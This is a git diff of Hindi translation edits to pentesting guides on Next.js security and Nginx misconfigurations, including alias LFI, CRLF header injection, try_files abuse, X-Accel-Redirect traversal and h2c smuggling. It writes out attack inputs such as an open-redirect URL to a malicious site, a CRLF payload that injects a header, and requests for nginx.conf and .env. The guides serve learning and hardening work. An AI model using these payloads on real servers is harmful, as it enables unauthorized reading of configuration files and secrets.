कॉन्फ़िगरेशन -नियंत्रित करें कि कौन से मूल आपके API रूट्स तक पहुँच सकते हैं, Cross-Origin Resource Sharing (CORS) कमजोरियों को कम करते हुए। +नियंत्रित करें कि कौन से मूल आपके API मार्गों तक पहुँच सकते हैं, क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) कमजोरियों को कम करते हुए। **खराब कॉन्फ़िगरेशन उदाहरण:** ```javascript @@ -777,7 +777,7 @@ matcher: "/api/:path*", // Apply to all API routes ### क्लाइंट साइड में सर्वर कोड का प्रदर्शन -यह **सर्वर द्वारा उपयोग किए गए कोड का उपयोग क्लाइंट साइड द्वारा प्रदर्शित और उपयोग किए गए कोड में करना आसान हो सकता है**, यह सुनिश्चित करने का सबसे अच्छा तरीका है कि कोड की कोई फ़ाइल कभी भी क्लाइंट साइड में प्रदर्शित न हो, फ़ाइल की शुरुआत में इस आयात का उपयोग करना है: +यह **सर्वर द्वारा उपयोग किए गए कोड को क्लाइंट साइड द्वारा उपयोग किए गए कोड में भी उपयोग करना आसान है**, यह सुनिश्चित करने का सबसे अच्छा तरीका है कि किसी कोड की फ़ाइल कभी भी क्लाइंट साइड में प्रदर्शित न हो, फ़ाइल की शुरुआत में इस आयात का उपयोग करना है: ```js import "server-only" ``` @@ -787,7 +787,7 @@ import "server-only" **स्थान:** प्रोजेक्ट की जड़ या `src/` के भीतर। -**उद्देश्य:** एक अनुरोध संसाधित होने से पहले सर्वर-साइड सर्वरलेस फ़ंक्शन में कोड निष्पादित करता है, जैसे कि प्रमाणीकरण, रीडायरेक्ट या प्रतिक्रियाओं को संशोधित करना। +**उद्देश्य:** एक अनुरोध संसाधित होने से पहले सर्वर-साइड सर्वरलेस फ़ंक्शन में कोड निष्पादित करता है, जैसे कि प्रमाणीकरण, रीडायरेक्ट, या प्रतिक्रियाओं को संशोधित करना। **निष्पादन प्रवाह:** @@ -932,19 +932,17 @@ NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for **हमलावर इसका कैसे दुरुपयोग करते हैं:** -यदि संवेदनशील वेरिएबल्स क्लाइंट को उजागर होते हैं, तो हमलावर उन्हें क्लाइंट-साइड कोड या नेटवर्क अनुरोधों की जांच करके प्राप्त कर सकते हैं, जिससे APIs, डेटाबेस, या अन्य सेवाओं तक अनधिकृत पहुंच प्राप्त होती है। +यदि संवेदनशील वेरिएबल्स क्लाइंट को उजागर होते हैं, तो हमलावर उन्हें क्लाइंट-साइड कोड या नेटवर्क अनुरोधों की जांच करके प्राप्त कर सकते हैं, जिससे उन्हें APIs, डेटाबेस, या अन्य सेवाओं तक अनधिकृत पहुंच मिलती है।
-रीडायरेक्ट्स +Redirects -अपने एप्लिकेशन के भीतर URL रीडायरेक्शंस और री-राइट्स का प्रबंधन करें, यह सुनिश्चित करते हुए कि उपयोगकर्ताओं को उचित रूप से निर्देशित किया जाए बिना ओपन रीडायरेक्ट कमजोरियों को पेश किए। +अपने एप्लिकेशन के भीतर URL रीडायरेक्शन और रीलेखन प्रबंधित करें, यह सुनिश्चित करते हुए कि उपयोगकर्ताओं को उचित रूप से निर्देशित किया जाए बिना ओपन रीडायरेक्ट कमजोरियों को पेश किए। -#### क. ओपन रीडायरेक्ट कमजोरियाँ - -**खराब कॉन्फ़िगरेशन उदाहरण:** +#### a. ओपन रीडायरेक्ट कमजोरियों का उदाहरण ```javascript // next.config.js @@ -963,7 +961,7 @@ permanent: false, **समस्या:** - **गतिशील गंतव्य:** उपयोगकर्ताओं को कोई भी URL निर्दिष्ट करने की अनुमति देता है, जिससे ओपन रीडायरेक्ट हमले संभव होते हैं। -- **उपयोगकर्ता इनपुट पर भरोसा करना:** उपयोगकर्ताओं द्वारा प्रदान किए गए URLs पर बिना सत्यापन के रीडायरेक्ट करना फ़िशिंग, मैलवेयर वितरण, या क्रेडेंशियल चोरी का कारण बन सकता है। +- **उपयोगकर्ता इनपुट पर भरोसा करना:** बिना सत्यापन के उपयोगकर्ताओं द्वारा प्रदान किए गए URLs पर रीडायरेक्ट करना फ़िशिंग, मैलवेयर वितरण, या क्रेडेंशियल चोरी का कारण बन सकता है। **हमलावर इसका दुरुपयोग कैसे करते हैं:** @@ -977,11 +975,11 @@ https://yourdomain.com/redirect?url=https://malicious-site.com
-Webpack कॉन्फ़िगरेशन +Webpack Configuration -अपने Next.js एप्लिकेशन के लिए Webpack कॉन्फ़िगरेशन को अनुकूलित करें, जो सावधानी से न संभाले जाने पर सुरक्षा कमजोरियों को अनजाने में पेश कर सकता है। +अपने Next.js एप्लिकेशन के लिए Webpack कॉन्फ़िगरेशन को अनुकूलित करें, जो यदि सावधानी से नहीं संभाला गया तो सुरक्षा कमजोरियों को अनजाने में पेश कर सकता है। -#### क. संवेदनशील मॉड्यूल को उजागर करना +#### a. संवेदनशील मॉड्यूल को उजागर करना **खराब कॉन्फ़िगरेशन उदाहरण:** ```javascript @@ -1003,7 +1001,7 @@ return config **हमलावर इसका कैसे दुरुपयोग करते हैं:** -हमलावर एप्लिकेशन की निर्देशिका संरचना तक पहुंच प्राप्त कर सकते हैं या उसे पुनर्निर्मित कर सकते हैं, संभावित रूप से संवेदनशील फ़ाइलों या डेटा को खोजकर और उनका दुरुपयोग करके। +हमलावर एप्लिकेशन की निर्देशिका संरचना तक पहुंच सकते हैं या उसे पुनर्निर्माण कर सकते हैं, संभावित रूप से संवेदनशील फ़ाइलों या डेटा को खोजकर और उनका दुरुपयोग कर सकते हैं।
@@ -1108,7 +1106,7 @@ console.log("> Ready on http://localhost:3000") - **`.env` फ़ाइलों का उपयोग करें:** API कुंजी जैसी चर को `.env.local` में स्टोर करें (संस्करण नियंत्रण से बाहर)। - **चर को सुरक्षित रूप से एक्सेस करें:** पर्यावरण चर को एक्सेस करने के लिए `process.env.VARIABLE_NAME` का उपयोग करें। -- **क्लाइंट पर कभी भी रहस्य उजागर न करें:** सुनिश्चित करें कि संवेदनशील चर केवल सर्वर-साइड पर उपयोग किए जाते हैं। +- **क्लाइंट पर कभी भी रहस्यों को उजागर न करें:** सुनिश्चित करें कि संवेदनशील चर केवल सर्वर-साइड पर उपयोग किए जाते हैं। **उदाहरण:** ```javascript @@ -1120,23 +1118,23 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client }, } ``` -**नोट:** सर्वर-साइड के लिए वेरिएबल्स को सीमित करने के लिए, उन्हें `env` ऑब्जेक्ट से हटा दें या क्लाइंट एक्सपोजर के लिए `NEXT_PUBLIC_` से प्रीफिक्स करें। +**Note:** सर्वर-साइड के लिए वेरिएबल्स को सीमित करने के लिए, उन्हें `env` ऑब्जेक्ट से हटा दें या क्लाइंट एक्सपोजर के लिए उन्हें `NEXT_PUBLIC_` से प्रीफिक्स करें। -### प्रमाणीकरण और प्राधिकरण +### Authentication and Authorization -**पद्धति:** +**Approach:** -- **सत्र-आधारित प्रमाणीकरण:** उपयोगकर्ता सत्रों को प्रबंधित करने के लिए कुकीज़ का उपयोग करें। -- **टोकन-आधारित प्रमाणीकरण:** Stateless प्रमाणीकरण के लिए JWTs लागू करें। -- **तीसरे पक्ष के प्रदाता:** `next-auth` जैसी लाइब्रेरी का उपयोग करके OAuth प्रदाताओं (जैसे, Google, GitHub) के साथ एकीकृत करें। +- **Session-Based Authentication:** उपयोगकर्ता सत्रों को प्रबंधित करने के लिए कुकीज़ का उपयोग करें। +- **Token-Based Authentication:** Stateless authentication के लिए JWTs लागू करें। +- **Third-Party Providers:** `next-auth` जैसी लाइब्रेरी का उपयोग करके OAuth प्रदाताओं (जैसे, Google, GitHub) के साथ एकीकृत करें। -**सुरक्षा प्रथाएँ:** +**Security Practices:** -- **सुरक्षित कुकीज़:** `HttpOnly`, `Secure`, और `SameSite` विशेषताओं को सेट करें। -- **पासवर्ड हैशिंग:** उन्हें स्टोर करने से पहले हमेशा पासवर्ड को हैश करें। -- **इनपुट मान्यता:** इनपुट को मान्य और साफ करके इंजेक्शन हमलों को रोकें। +- **Secure Cookies:** `HttpOnly`, `Secure`, और `SameSite` विशेषताओं को सेट करें। +- **Password Hashing:** हमेशा पासवर्ड को स्टोर करने से पहले हैश करें। +- **Input Validation:** इनपुट को मान्य और साफ करके इंजेक्शन हमलों को रोकें। -**उदाहरण:** +**Example:** ```javascript // pages/api/login.js import { sign } from "jsonwebtoken" @@ -1170,7 +1168,7 @@ res.status(401).json({ error: "Invalid credentials" }) **रणनीतियाँ:** - **छवि अनुकूलन:** स्वचालित छवि अनुकूलन के लिए Next.js के `next/image` घटक का उपयोग करें। -- **कोड विभाजन:** प्रारंभिक लोड समय को कम करने के लिए कोड को विभाजित करने के लिए गतिशील आयात का लाभ उठाएँ। +- **कोड विभाजन:** प्रारंभिक लोड समय को कम करने के लिए गतिशील आयातों का लाभ उठाएं। - **कैशिंग:** API प्रतिक्रियाओं और स्थिर संपत्तियों के लिए कैशिंग रणनीतियों को लागू करें। - **आलसी लोडिंग:** घटकों या संपत्तियों को केवल तब लोड करें जब उनकी आवश्यकता हो। diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index c8b6b2d70..6a7e597e1 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -16,13 +16,13 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -इस कॉन्फ़िगरेशन में, `/etc/nginx` को रूट निर्देशिका के रूप में निर्दिष्ट किया गया है। यह सेटअप निर्दिष्ट रूट निर्देशिका के भीतर फ़ाइलों तक पहुँच की अनुमति देता है, जैसे कि `/hello.txt`। हालाँकि, यह महत्वपूर्ण है कि केवल एक विशिष्ट स्थान (`/hello.txt`) परिभाषित किया गया है। रूट स्थान (`location / {...}`) के लिए कोई कॉन्फ़िगरेशन नहीं है। इस चूक का मतलब है कि रूट निर्देशिका वैश्विक रूप से लागू होती है, जिससे रूट पथ `/` पर अनुरोधों को `/etc/nginx` के तहत फ़ाइलों तक पहुँचने की अनुमति मिलती है। +इस कॉन्फ़िगरेशन में, `/etc/nginx` को रूट डायरेक्टरी के रूप में निर्दिष्ट किया गया है। यह सेटअप निर्दिष्ट रूट डायरेक्टरी के भीतर फ़ाइलों तक पहुँच की अनुमति देता है, जैसे कि `/hello.txt`। हालाँकि, यह महत्वपूर्ण है कि केवल एक विशिष्ट स्थान (`/hello.txt`) परिभाषित किया गया है। रूट स्थान (`location / {...}`) के लिए कोई कॉन्फ़िगरेशन नहीं है। इस चूक का मतलब है कि रूट निर्देश वैश्विक रूप से लागू होता है, जिससे रूट पथ `/` पर अनुरोधों को `/etc/nginx` के तहत फ़ाइलों तक पहुँचने की अनुमति मिलती है। -इस कॉन्फ़िगरेशन से एक महत्वपूर्ण सुरक्षा विचार उत्पन्न होता है। एक साधारण `GET` अनुरोध, जैसे `GET /nginx.conf`, संवेदनशील जानकारी को उजागर कर सकता है क्योंकि यह `/etc/nginx/nginx.conf` में स्थित Nginx कॉन्फ़िगरेशन फ़ाइल को सर्व करता है। रूट को कम संवेदनशील निर्देशिका, जैसे `/etc`, पर सेट करना इस जोखिम को कम कर सकता है, फिर भी यह अन्य महत्वपूर्ण फ़ाइलों, जिसमें अन्य कॉन्फ़िगरेशन फ़ाइलें, एक्सेस लॉग, और यहां तक कि HTTP बेसिक ऑथेंटिकेशन के लिए उपयोग की जाने वाली एन्क्रिप्टेड क्रेडेंशियल्स तक अनपेक्षित पहुँच की अनुमति दे सकता है। +इस कॉन्फ़िगरेशन से एक महत्वपूर्ण सुरक्षा विचार उत्पन्न होता है। एक साधारण `GET` अनुरोध, जैसे `GET /nginx.conf`, संवेदनशील जानकारी को उजागर कर सकता है क्योंकि यह `/etc/nginx/nginx.conf` में स्थित Nginx कॉन्फ़िगरेशन फ़ाइल को सर्व करता है। रूट को कम संवेदनशील डायरेक्टरी, जैसे `/etc`, पर सेट करना इस जोखिम को कम कर सकता है, फिर भी यह अन्य महत्वपूर्ण फ़ाइलों, जिसमें अन्य कॉन्फ़िगरेशन फ़ाइलें, एक्सेस लॉग, और यहां तक कि HTTP बेसिक प्रमाणीकरण के लिए उपयोग की जाने वाली एन्क्रिप्टेड क्रेडेंशियल्स तक अनपेक्षित पहुँच की अनुमति दे सकता है। ## Alias LFI Misconfiguration -Nginx के कॉन्फ़िगरेशन फ़ाइलों में, "location" निर्देशों के लिए निकटता से निरीक्षण आवश्यक है। एक भेद्यता जिसे लोकल फ़ाइल समावेशन (LFI) के रूप में जाना जाता है, एक कॉन्फ़िगरेशन के माध्यम से अनजाने में पेश की जा सकती है जो निम्नलिखित के समान है: +Nginx के कॉन्फ़िगरेशन फ़ाइलों में, "location" निर्देशों के लिए एक करीबी निरीक्षण आवश्यक है। एक भेद्यता जिसे लोकल फ़ाइल समावेशन (LFI) के रूप में जाना जाता है, एक कॉन्फ़िगरेशन के माध्यम से अनजाने में पेश की जा सकती है जो निम्नलिखित के समान है: ``` location /imgs { alias /path/images/; @@ -48,7 +48,7 @@ alias../ => HTTP status code 403 ``` ## Unsafe path restriction -निम्नलिखित पृष्ठ की जांच करें कि निर्देशों को कैसे बायपास किया जाए जैसे: +निम्नलिखित पृष्ठ की जांच करें कि निर्देशों को कैसे बायपास करें जैसे: ```plaintext location = /admin { deny all; @@ -65,7 +65,7 @@ deny all; ## असुरक्षित वेरिएबल उपयोग / HTTP अनुरोध विभाजन > [!CAUTION] -> कमजोर वेरिएबल `$uri` और `$document_uri` हैं और इसे `$request_uri` के साथ बदलकर ठीक किया जा सकता है। +> कमजोर वेरिएबल `$uri` और `$document_uri` हैं और इन्हें `$request_uri` से बदलकर ठीक किया जा सकता है। > > एक regex भी कमजोर हो सकता है जैसे: > @@ -81,7 +81,7 @@ location / { return 302 https://example.com$uri; } ``` -HTTP अनुरोधों में \r (Carriage Return) और \n (Line Feed) नए लाइन वर्णों का संकेत देते हैं, और उनके URL-कोडित रूप `%0d%0a` के रूप में दर्शाए जाते हैं। एक अनुरोध में इन वर्णों को शामिल करने (जैसे, `http://localhost/%0d%0aDetectify:%20clrf`) से एक गलत कॉन्फ़िगर किए गए सर्वर पर एक नया हेडर `Detectify` जारी होता है। ऐसा इसलिए होता है क्योंकि $uri वेरिएबल URL-कोडित नए लाइन वर्णों को डिकोड करता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर उत्पन्न होता है: +HTTP अनुरोधों में \r (Carriage Return) और \n (Line Feed) नए लाइन वर्णों का संकेत देते हैं, और उनके URL-कोडित रूप `%0d%0a` के रूप में दर्शाए जाते हैं। एक अनुरोध में इन वर्णों को शामिल करने पर (जैसे, `http://localhost/%0d%0aDetectify:%20clrf`) एक गलत कॉन्फ़िगर किए गए सर्वर पर, सर्वर एक नए हेडर का नाम `Detectify` जारी करता है। यह इसलिए होता है क्योंकि $uri वेरिएबल URL-कोडित नए लाइन वर्णों को डिकोड करता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर उत्पन्न होता है: ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -127,9 +127,9 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Any variable -यह पता चला है कि **उपयोगकर्ता-प्रदत्त डेटा** कुछ परिस्थितियों में **Nginx वेरिएबल** के रूप में माना जा सकता है। इस व्यवहार का कारण कुछ हद तक अस्पष्ट है, फिर भी यह न तो दुर्लभ है और न ही सत्यापित करना सीधा है। इस विसंगति को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया था, जिसे [यहां](https://hackerone.com/reports/370094) देखा जा सकता है। त्रुटि संदेश की आगे की जांच ने इसके होने की पहचान [Nginx के कोडबेस के SSI फ़िल्टर मॉड्यूल](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) के भीतर की, जिससे सर्वर साइड इनक्लूड्स (SSI) को मूल कारण के रूप में इंगित किया गया। +यह पता चला है कि **उपयोगकर्ता द्वारा प्रदान किए गए डेटा** को कुछ परिस्थितियों में **Nginx वेरिएबल** के रूप में माना जा सकता है। इस व्यवहार का कारण कुछ हद तक अस्पष्ट है, फिर भी यह न तो दुर्लभ है और न ही सत्यापित करना सीधा है। इस विसंगति को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया था, जिसे [यहां](https://hackerone.com/reports/370094) देखा जा सकता है। त्रुटि संदेश की आगे की जांच ने इसके होने की पहचान [Nginx के कोडबेस के SSI फ़िल्टर मॉड्यूल](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) के भीतर की, जो सर्वर साइड इनक्लूड्स (SSI) को मूल कारण के रूप में इंगित करता है। -इस **गलत कॉन्फ़िगरेशन** का पता लगाने के लिए, निम्नलिखित कमांड निष्पादित की जा सकती है, जिसमें वेरिएबल प्रिंटिंग के लिए एक रेफरर हेडर सेट करना शामिल है: +इस **गलत कॉन्फ़िगरेशन** का **पता लगाने** के लिए, निम्नलिखित कमांड निष्पादित की जा सकती है, जिसमें वेरिएबल प्रिंटिंग के लिए एक रेफरर हेडर सेट करना शामिल है: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` @@ -143,13 +143,13 @@ location / { try_files $uri$args $uri$args/ /index.html; } ``` -हमारी कॉन्फ़िगरेशन में `try_files` निर्देश है जिसका उपयोग निर्दिष्ट क्रम में फ़ाइलों के अस्तित्व की जांच करने के लिए किया जाता है। Nginx पहले फ़ाइल को सर्व करेगा जो इसे मिलेगी। `try_files` निर्देश की मूल संरचना इस प्रकार है: +हमारी कॉन्फ़िगरेशन में `try_files` निर्देश है जिसका उपयोग निर्दिष्ट क्रम में फ़ाइलों के अस्तित्व की जांच करने के लिए किया जाता है। Nginx पहले फ़ाइल को सर्व करेगा जो उसे मिलेगी। `try_files` निर्देश की मूल संरचना इस प्रकार है: ``` try_files file1 file2 ... fileN fallback; ``` Nginx प्रत्येक फ़ाइल के अस्तित्व की जांच निर्दिष्ट क्रम में करेगा। यदि कोई फ़ाइल मौजूद है, तो इसे तुरंत सेवा दी जाएगी। यदि निर्दिष्ट फ़ाइलों में से कोई भी मौजूद नहीं है, तो अनुरोध को फॉलबैक विकल्प पर भेजा जाएगा, जो कि एक अन्य URI या एक विशिष्ट त्रुटि पृष्ठ हो सकता है। -हालांकि, इस निर्देश में `$uri$args` वेरिएबल का उपयोग करते समय, Nginx उस फ़ाइल की तलाश करेगा जो अनुरोध URI के साथ किसी भी क्वेरी स्ट्रिंग तर्कों को मिलाकर मेल खाती है। इसलिए हम इस कॉन्फ़िगरेशन का लाभ उठा सकते हैं: +हालांकि, इस निर्देश में `$uri$args` वेरिएबल का उपयोग करते समय, Nginx उस फ़ाइल को खोजने की कोशिश करेगा जो अनुरोध URI के साथ किसी भी क्वेरी स्ट्रिंग तर्कों को मिलाकर मेल खाती है। इसलिए हम इस कॉन्फ़िगरेशन का लाभ उठा सकते हैं: ``` http { server { @@ -182,12 +182,12 @@ Host: example.com 2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK ``` -Nginx के ऊपर दिए गए कॉन्फ़िगरेशन का उपयोग करते हुए PoC: +PoC Nginx के खिलाफ उपरोक्त उल्लेखित कॉन्फ़िगरेशन का उपयोग करते हुए: ![Example burp request](../../images/nginx_try_files.png) ## कच्चे बैकएंड प्रतिक्रिया पढ़ना -Nginx एक फीचर प्रदान करता है `proxy_pass` के माध्यम से जो बैकएंड द्वारा उत्पन्न त्रुटियों और HTTP हेडर को इंटरसेप्ट करने की अनुमति देता है, जिसका उद्देश्य आंतरिक त्रुटि संदेशों और हेडर को छिपाना है। यह Nginx द्वारा बैकएंड त्रुटियों के जवाब में कस्टम त्रुटि पृष्ठों को सर्व करके किया जाता है। हालाँकि, जब Nginx एक अमान्य HTTP अनुरोध का सामना करता है, तो चुनौतियाँ उत्पन्न होती हैं। ऐसा अनुरोध बैकएंड को जैसे प्राप्त होता है, वैसे ही अग्रेषित किया जाता है, और बैकएंड की कच्ची प्रतिक्रिया सीधे ग्राहक को Nginx के हस्तक्षेप के बिना भेजी जाती है। +Nginx एक विशेषता प्रदान करता है `proxy_pass` के माध्यम से जो बैकएंड द्वारा उत्पन्न त्रुटियों और HTTP हेडर को इंटरसेप्ट करने की अनुमति देता है, जिसका उद्देश्य आंतरिक त्रुटि संदेशों और हेडर को छिपाना है। यह Nginx द्वारा बैकएंड त्रुटियों के जवाब में कस्टम त्रुटि पृष्ठों को सेवा देकर किया जाता है। हालाँकि, जब Nginx एक अमान्य HTTP अनुरोध का सामना करता है, तो चुनौतियाँ उत्पन्न होती हैं। ऐसा अनुरोध बैकएंड को प्राप्त रूप में अग्रेषित किया जाता है, और बैकएंड की कच्ची प्रतिक्रिया सीधे ग्राहक को Nginx के हस्तक्षेप के बिना भेजी जाती है। एक उदाहरण परिदृश्य पर विचार करें जिसमें एक uWSGI एप्लिकेशन शामिल है: ```python @@ -204,7 +204,7 @@ proxy_hide_header Secret-Header; } ``` - [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): यह निर्देश Nginx को 300 से अधिक स्थिति कोड वाले बैकएंड प्रतिक्रियाओं के लिए एक कस्टम प्रतिक्रिया देने की अनुमति देता है। यह सुनिश्चित करता है कि, हमारे उदाहरण uWSGI एप्लिकेशन के लिए, `500 Error` प्रतिक्रिया को Nginx द्वारा रोका और संभाला जाता है। -- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): जैसा कि नाम से स्पष्ट है, यह निर्देश क्लाइंट से निर्दिष्ट HTTP हेडर को छुपाता है, जिससे गोपनीयता और सुरक्षा बढ़ती है। +- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): जैसा कि नाम से पता चलता है, यह निर्देश क्लाइंट से निर्दिष्ट HTTP हेडर को छुपाता है, जिससे गोपनीयता और सुरक्षा बढ़ती है। जब एक मान्य `GET` अनुरोध किया जाता है, तो Nginx इसे सामान्य रूप से संसाधित करता है, बिना किसी गुप्त हेडर को प्रकट किए एक मानक त्रुटि प्रतिक्रिया लौटाता है। हालाँकि, एक अमान्य HTTP अनुरोध इस तंत्र को बायपास करता है, जिससे कच्ची बैकएंड प्रतिक्रियाएँ, जिसमें गुप्त हेडर और त्रुटि संदेश शामिल हैं, उजागर हो जाती हैं। @@ -212,7 +212,7 @@ proxy_hide_header Secret-Header; डिफ़ॉल्ट रूप से, Nginx का **`merge_slashes` निर्देश** **`on`** पर सेट होता है, जो एक URL में कई फॉरवर्ड स्लैश को एकल स्लैश में संकुचित करता है। यह सुविधा, जबकि URL प्रसंस्करण को सरल बनाती है, Nginx के पीछे अनुप्रयोगों में कमजोरियों को अनजाने में छिपा सकती है, विशेष रूप से स्थानीय फ़ाइल समावेश (LFI) हमलों के प्रति संवेदनशील। सुरक्षा विशेषज्ञ **Danny Robinson और Rotem Bar** ने इस डिफ़ॉल्ट व्यवहार से जुड़े संभावित जोखिमों को उजागर किया है, विशेष रूप से जब Nginx एक रिवर्स-प्रॉक्सी के रूप में कार्य करता है। -ऐसे जोखिमों को कम करने के लिए, अनुशंसा की जाती है कि **इन कमजोरियों के प्रति संवेदनशील अनुप्रयोगों के लिए `merge_slashes` निर्देश को बंद कर दें**। यह सुनिश्चित करता है कि Nginx अनुरोधों को अनुप्रयोग की ओर बिना URL संरचना को बदले अग्रेषित करता है, जिससे किसी भी अंतर्निहित सुरक्षा मुद्दों को छिपाया नहीं जाता है। +ऐसे जोखिमों को कम करने के लिए, अनुशंसा की जाती है कि **`merge_slashes` निर्देश को बंद करें** उन अनुप्रयोगों के लिए जो इन कमजोरियों के प्रति संवेदनशील हैं। यह सुनिश्चित करता है कि Nginx अनुरोधों को एप्लिकेशन की ओर बिना URL संरचना को बदले अग्रेषित करता है, जिससे किसी भी अंतर्निहित सुरक्षा मुद्दों को छिपाया नहीं जाता है। अधिक जानकारी के लिए देखें [Danny Robinson और Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). @@ -224,13 +224,13 @@ proxy_hide_header Secret-Header; - `X-Accel-Buffering`: नियंत्रित करता है कि क्या Nginx को प्रतिक्रिया को बफर करना चाहिए या नहीं। - `X-Accel-Charset`: X-Accel-Redirect का उपयोग करते समय प्रतिक्रिया के लिए वर्ण सेट सेट करता है। - `X-Accel-Expires`: X-Accel-Redirect का उपयोग करते समय प्रतिक्रिया के लिए समाप्ति समय सेट करता है। -- `X-Accel-Limit-Rate`: X-Accel-Redirect का उपयोग करते समय प्रतिक्रियाओं के लिए ट्रांसफर की दर को सीमित करता है। +- `X-Accel-Limit-Rate`: X-Accel-Redirect का उपयोग करते समय प्रतिक्रियाओं के लिए स्थानांतरण की दर को सीमित करता है। उदाहरण के लिए, हेडर **`X-Accel-Redirect`** Nginx में एक आंतरिक **पुनर्निर्देश** का कारण बनेगा। इसलिए, यदि Nginx कॉन्फ़िगरेशन में कुछ ऐसा है जैसे **`root /`** और वेब सर्वर से प्रतिक्रिया में **`X-Accel-Redirect: .env`** है, तो Nginx **`/.env`** (Path Traversal) की सामग्री भेजेगा। ### **Map Directive में डिफ़ॉल्ट मान** -**Nginx कॉन्फ़िगरेशन** में, `map` निर्देश अक्सर **अधिकार नियंत्रण** में एक भूमिका निभाता है। एक सामान्य गलती **डिफ़ॉल्ट** मान निर्दिष्ट न करना है, जो अनधिकृत पहुंच का कारण बन सकता है। उदाहरण के लिए: +**Nginx कॉन्फ़िगरेशन** में, `map` निर्देश अक्सर **अधिकार नियंत्रण** में भूमिका निभाता है। एक सामान्य गलती **डिफ़ॉल्ट** मान निर्दिष्ट न करना है, जो अनधिकृत पहुंच का कारण बन सकता है। उदाहरण के लिए: ```yaml http { map $uri $mappocallow { @@ -253,7 +253,7 @@ return 200 "Hello. It is private area: $mappocallow"; ### **DNS स्पूफिंग भेद्यता** -Nginx के खिलाफ DNS स्पूफिंग कुछ शर्तों के तहत संभव है। यदि एक हमलावर को Nginx द्वारा उपयोग किए जाने वाले **DNS सर्वर** का ज्ञान है और वह इसके DNS प्रश्नों को इंटरसेप्ट कर सकता है, तो वह DNS रिकॉर्ड को स्पूफ कर सकता है। हालाँकि, यह विधि तब अप्रभावी है जब Nginx को DNS समाधान के लिए **localhost (127.0.0.1)** का उपयोग करने के लिए कॉन्फ़िगर किया गया हो। Nginx एक DNS सर्वर को इस प्रकार निर्दिष्ट करने की अनुमति देता है: +Nginx के खिलाफ DNS स्पूफिंग कुछ शर्तों के तहत संभव है। यदि एक हमलावर को Nginx द्वारा उपयोग किए जाने वाले **DNS सर्वर** का ज्ञान है और वह इसके DNS प्रश्नों को इंटरसेप्ट कर सकता है, तो वह DNS रिकॉर्ड को स्पूफ कर सकता है। हालाँकि, यह विधि तब प्रभावी नहीं है जब Nginx को DNS समाधान के लिए **localhost (127.0.0.1)** का उपयोग करने के लिए कॉन्फ़िगर किया गया हो। Nginx एक DNS सर्वर को इस प्रकार निर्दिष्ट करने की अनुमति देता है: ```yaml resolver 8.8.8.8; ``` @@ -263,7 +263,7 @@ resolver 8.8.8.8; ## proxy_set_header Upgrade & Connection -यदि nginx सर्वर को Upgrade और Connection हेडर पास करने के लिए कॉन्फ़िगर किया गया है, तो एक [**h2c Smuggling हमला**](../../pentesting-web/h2c-smuggling.md) किया जा सकता है ताकि संरक्षित/आंतरिक एंडपॉइंट्स तक पहुँच प्राप्त की जा सके। +यदि nginx सर्वर को Upgrade और Connection हेडर पास करने के लिए कॉन्फ़िगर किया गया है, तो एक [**h2c Smuggling हमला**](../../pentesting-web/h2c-smuggling.md) किया जा सकता है ताकि संरक्षित/आंतरिक एंडपॉइंट्स तक पहुंचा जा सके। > [!CAUTION] > यह कमजोरी एक हमलावर को **`proxy_pass` एंडपॉइंट** (`http://backend:9999` इस मामले में) के साथ एक सीधा कनेक्शन स्थापित करने की अनुमति देगी, जिसका सामग्री nginx द्वारा जांचा नहीं जाएगा। @@ -289,11 +289,11 @@ deny all; } ``` > [!WARNING] -> ध्यान दें कि भले ही `proxy_pass` एक विशिष्ट **path** जैसे `http://backend:9999/socket.io` की ओर इशारा कर रहा हो, कनेक्शन `http://backend:9999` के साथ स्थापित किया जाएगा, इसलिए आप उस आंतरिक एंडपॉइंट के अंदर **किसी अन्य path** से संपर्क कर सकते हैं। इसलिए यह मायने नहीं रखता कि proxy_pass के URL में कोई path निर्दिष्ट किया गया है। +> ध्यान दें कि भले ही `proxy_pass` एक विशिष्ट **path** की ओर इशारा कर रहा हो जैसे `http://backend:9999/socket.io`, कनेक्शन `http://backend:9999` के साथ स्थापित किया जाएगा, इसलिए आप उस आंतरिक एंडपॉइंट के अंदर किसी अन्य path से **संपर्क कर सकते हैं। इसलिए यह मायने नहीं रखता कि proxy_pass के URL में कोई path निर्दिष्ट किया गया है।** ## Try it yourself -Detectify ने एक GitHub रिपॉजिटरी बनाई है जहाँ आप Docker का उपयोग करके अपने स्वयं के कमजोर Nginx परीक्षण सर्वर को स्थापित कर सकते हैं, जिसमें इस लेख में चर्चा की गई कुछ गलत कॉन्फ़िगरेशन हैं और उन्हें स्वयं खोजने का प्रयास कर सकते हैं! +Detectify ने एक GitHub रिपॉजिटरी बनाई है जहाँ आप Docker का उपयोग करके अपने स्वयं के कमजोर Nginx परीक्षण सर्वर को स्थापित कर सकते हैं जिसमें इस लेख में चर्चा की गई कुछ गलत कॉन्फ़िगरेशन हैं और उन्हें स्वयं खोजने की कोशिश कर सकते हैं! 